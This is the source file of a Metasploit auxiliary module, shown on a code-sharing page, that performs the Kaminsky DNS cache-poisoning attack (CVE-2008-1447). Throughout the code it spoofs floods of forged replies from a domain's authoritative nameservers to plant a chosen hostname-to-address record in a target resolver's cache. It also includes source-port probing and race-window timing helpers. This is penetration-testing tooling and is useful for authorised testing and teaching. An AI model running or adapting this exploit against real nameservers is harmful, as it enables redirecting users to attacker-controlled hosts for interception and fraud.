CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_host.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'net/dns'
7
require 'resolv'
8
9
class MetasploitModule < Msf::Auxiliary
10
include Msf::Exploit::Capture
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'DNS BailiWicked Host Attack',
15
'Description' => %q{
16
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
17
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
18
malicious host entry into the target nameserver by sending random hostname
19
queries to the target DNS server coupled with spoofed replies to those
20
queries from the authoritative nameservers for that domain. Eventually, a
21
guessed ID will match, the spoofed packet will get accepted, and due to the
22
additional hostname entry being within bailiwick constraints of the original
23
request the malicious host entry will get cached.
24
},
25
'Author' => [ 'I)ruid', 'hdm' ],
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
[ 'CVE', '2008-1447' ],
30
[ 'OSVDB', '46776'],
31
[ 'US-CERT-VU', '800113' ],
32
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
33
],
34
'DisclosureDate' => '2008-07-21'
35
))
36
37
register_options(
38
[
39
OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),
40
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
41
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
42
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
43
OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),
44
OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),
45
OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),
46
47
])
48
49
deregister_options('FILTER','PCAPFILE')
50
51
end
52
53
def auxiliary_commands
54
return {
55
"racer" => "Determine the size of the window for the target server"
56
}
57
end
58
59
def cmd_racer(*args)
60
targ = args[0] || rhost()
61
dom = args[1] || "example.com"
62
63
if !(targ and targ.length > 0)
64
print_status("usage: racer [dns-server] [domain]")
65
return
66
end
67
68
calculate_race(targ, dom)
69
end
70
71
def check
72
targ = rhost
73
74
srv_sock = Rex::Socket.create_udp(
75
'PeerHost' => targ,
76
'PeerPort' => 53
77
)
78
79
random = false
80
ports = {}
81
lport = nil
82
reps = 0
83
84
1.upto(30) do |i|
85
86
req = Resolv::DNS::Message.new
87
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
88
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
89
req.rd = 1
90
91
srv_sock.put(req.encode)
92
res, addr = srv_sock.recvfrom(65535, 1.0)
93
94
95
if res and res.length > 0
96
reps += 1
97
res = Resolv::DNS::Message.decode(res)
98
res.each_answer do |name, ttl, data|
99
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
100
t_addr, t_port = $1.split(':')
101
102
vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
103
t_port = t_port.to_i
104
if(lport and lport != t_port)
105
random = true
106
end
107
lport = t_port
108
ports[t_port] ||=0
109
ports[t_port] +=1
110
end
111
end
112
end
113
114
115
if(i>5 and ports.keys.length == 0)
116
break
117
end
118
end
119
120
srv_sock.close
121
122
if(ports.keys.length == 0)
123
vprint_error("ERROR: This server is not replying to recursive requests")
124
return Exploit::CheckCode::Unknown
125
end
126
127
if(reps < 30)
128
vprint_warning("WARNING: This server did not reply to all of our requests")
129
end
130
131
if(random)
132
ports_u = ports.keys.length
133
ports_r = ((ports.keys.length/30.0)*100).to_i
134
print_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")
135
if(ports_r != 100)
136
vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")
137
# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence
138
return Exploit::CheckCode::Appears
139
end
140
else
141
vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")
142
return Exploit::CheckCode::Vulnerable
143
end
144
145
Exploit::CheckCode::Safe
146
end
147
148
def run
149
check_pcaprub_loaded # Check first.
150
151
target = rhost()
152
source = Rex::Socket.source_address(target)
153
saddr = datastore['SRCADDR']
154
sport = datastore['SRCPORT']
155
hostname = datastore['HOSTNAME'] + '.'
156
address = datastore['NEWADDR']
157
recons = datastore['RECONS']
158
xids = datastore['XIDS'].to_i
159
newttl = datastore['TTL'].to_i
160
xidbase = rand(20001) + 20000
161
numxids = xids
162
163
domain = hostname.sub(/\w+\x2e/,"")
164
165
srv_sock = Rex::Socket.create_udp(
166
'PeerHost' => target,
167
'PeerPort' => 53
168
)
169
170
# Get the source port via the metasploit service if it's not set
171
if sport.to_i == 0
172
req = Resolv::DNS::Message.new
173
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
174
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
175
req.rd = 1
176
177
srv_sock.put(req.encode)
178
res, addr = srv_sock.recvfrom()
179
180
if res and res.length > 0
181
res = Resolv::DNS::Message.decode(res)
182
res.each_answer do |name, ttl, data|
183
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
184
t_addr, t_port = $1.split(':')
185
sport = t_port.to_i
186
187
print_status("Switching to target port #{sport} based on Metasploit service")
188
if target != t_addr
189
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
190
end
191
end
192
end
193
end
194
end
195
196
# Verify its not already cached
197
begin
198
query = Resolv::DNS::Message.new
199
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
200
query.rd = 0
201
202
begin
203
cached = false
204
srv_sock.put(query.encode)
205
answer, addr = srv_sock.recvfrom()
206
207
if answer and answer.length > 0
208
answer = Resolv::DNS::Message.decode(answer)
209
answer.each_answer do |name, ttl, data|
210
211
if((name.to_s + ".") == hostname)
212
t = Time.now + ttl
213
print_error("Failure: This hostname is already in the target cache: #{name}")
214
print_error(" Cache entry expires on #{t}... sleeping.")
215
cached = true
216
select(nil,nil,nil,ttl)
217
end
218
end
219
220
end
221
end until not cached
222
rescue ::Interrupt
223
raise $!
224
rescue ::Exception => e
225
print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
226
end
227
228
res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
229
230
print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
231
232
# Look up the nameservers for the domain
233
print_status "Querying recon nameserver for #{domain}'s nameservers..."
234
answer0 = res0.send(domain, Net::DNS::NS)
235
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
236
237
barbs = [] # storage for nameservers
238
answer0.answer.each do |rr0|
239
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
240
if rr0.type == 'NS'
241
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
242
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
243
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
244
answer1.answer.each do |rr1|
245
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
246
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
247
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
248
answer2 = res2.send(domain, Net::DNS::SOA)
249
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
250
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
251
barbs << nsrec
252
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
253
end
254
end
255
end
256
end
257
258
if barbs.length == 0
259
print_status( "No DNS servers found.")
260
srv_sock.close
261
close_pcap
262
return
263
end
264
265
266
if(xids == 0)
267
print_status("Calculating the number of spoofed replies to send per query...")
268
qcnt = calculate_race(target, domain, 100)
269
numxids = ((qcnt * 1.5) / barbs.length).to_i
270
if(numxids == 0)
271
print_status("The server did not reply, giving up.")
272
srv_sock.close
273
close_pcap
274
return
275
end
276
print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
277
end
278
279
# Flood the target with queries and spoofed responses, one will eventually hit
280
queries = 0
281
responses = 0
282
283
284
open_pcap unless self.capture
285
286
print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
287
288
while true
289
randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname
290
291
# Send spoofed query
292
req = Resolv::DNS::Message.new
293
req.id = rand(2**16)
294
req.add_question(randhost, Resolv::DNS::Resource::IN::A)
295
296
req.rd = 1
297
298
src_ip = source
299
300
if(saddr == 'Random')
301
src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")
302
end
303
304
p = PacketFu::UDPPacket.new
305
p.ip_saddr = src_ip
306
p.ip_daddr = target
307
p.ip_ttl = 255
308
p.udp_sport = (rand((2**16)-1024)+1024).to_i
309
p.udp_dport = 53
310
p.payload = req.encode
311
p.recalc
312
313
capture_sendto(p, target)
314
315
queries += 1
316
317
# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
318
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
319
req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
320
req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
321
req.qr = 1
322
req.ra = 1
323
324
# Reuse our PacketFu object
325
p.udp_sport = 53
326
p.udp_dport = sport.to_i
327
328
xidbase.upto(xidbase+numxids-1) do |id|
329
req.id = id
330
p.payload = req.encode
331
barbs.each do |barb|
332
p.ip_saddr = barb[:addr].to_s
333
p.recalc
334
capture_sendto(p, target)
335
responses += 1
336
end
337
end
338
339
# status update
340
if queries % 1000 == 0
341
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
342
if(xids == 0)
343
print_status("Recalculating the number of spoofed replies to send per query...")
344
qcnt = calculate_race(target, domain, 25)
345
numxids = ((qcnt * 1.5) / barbs.length).to_i
346
if(numxids == 0)
347
print_status("The server has stopped replying, giving up.")
348
srv_sock.close
349
close_pcap
350
return
351
end
352
print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")
353
end
354
end
355
356
# every so often, check and see if the target is poisoned...
357
if queries % 250 == 0
358
begin
359
query = Resolv::DNS::Message.new
360
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
361
query.rd = 0
362
363
srv_sock.put(query.encode)
364
answer, addr = srv_sock.recvfrom()
365
366
if answer and answer.length > 0
367
answer = Resolv::DNS::Message.decode(answer)
368
answer.each_answer do |name, ttl, data|
369
if((name.to_s + ".") == hostname)
370
print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{name} == #{address}")
371
print_status("TTL: #{ttl} DATA: #{data}")
372
close_pcap
373
return
374
end
375
end
376
end
377
rescue ::Interrupt
378
raise $!
379
rescue ::Exception => e
380
print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
381
end
382
end
383
end
384
end
385
386
#
387
# Send a recursive query to the target server, then flood
388
# the server with non-recursive queries for the same entry.
389
# Calculate how many non-recursive queries we receive back
390
# until the real server responds. This should give us a
391
# ballpark figure for ns->ns latency. We can repeat this
392
# a few times to account for each nameserver the cache server
393
# may query for the target domain.
394
#
395
def calculate_race(server, domain, num=50)
396
397
q_beg_t = nil
398
q_end_t = nil
399
cnt = 0
400
401
times = []
402
403
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
404
405
sock = Rex::Socket.create_udp(
406
'PeerHost' => server,
407
'PeerPort' => 53
408
)
409
410
411
req = Resolv::DNS::Message.new
412
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
413
req.rd = 1
414
req.id = 1
415
416
q_beg_t = Time.now.to_f
417
sock.put(req.encode)
418
req.rd = 0
419
420
while(times.length < num)
421
res, addr = sock.recvfrom(65535, 0.01)
422
423
if res and res.length > 0
424
res = Resolv::DNS::Message.decode(res)
425
426
if(res.id == 1)
427
times << [Time.now.to_f - q_beg_t, cnt]
428
cnt = 0
429
430
hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain
431
432
sock.close
433
sock = Rex::Socket.create_udp(
434
'PeerHost' => server,
435
'PeerPort' => 53
436
)
437
438
q_beg_t = Time.now.to_f
439
req = Resolv::DNS::Message.new
440
req.add_question(hostname, Resolv::DNS::Resource::IN::A)
441
req.rd = 1
442
req.id = 1
443
444
sock.put(req.encode)
445
req.rd = 0
446
end
447
448
cnt += 1
449
end
450
451
req.id += 1
452
453
sock.put(req.encode)
454
end
455
456
min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0
457
max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0
458
sum = 0
459
times.each{|i| sum += i[0]}
460
avg_time = ( (sum / times.length) * 100).to_i / 100.0
461
462
min_count = times.map{|i| i[1]}.min
463
max_count = times.map{|i| i[1]}.max
464
sum = 0
465
times.each{|i| sum += i[1]}
466
avg_count = sum / times.length
467
468
sock.close
469
470
print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")
471
472
473
# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)
474
avg_count
475
end
476
end
477
478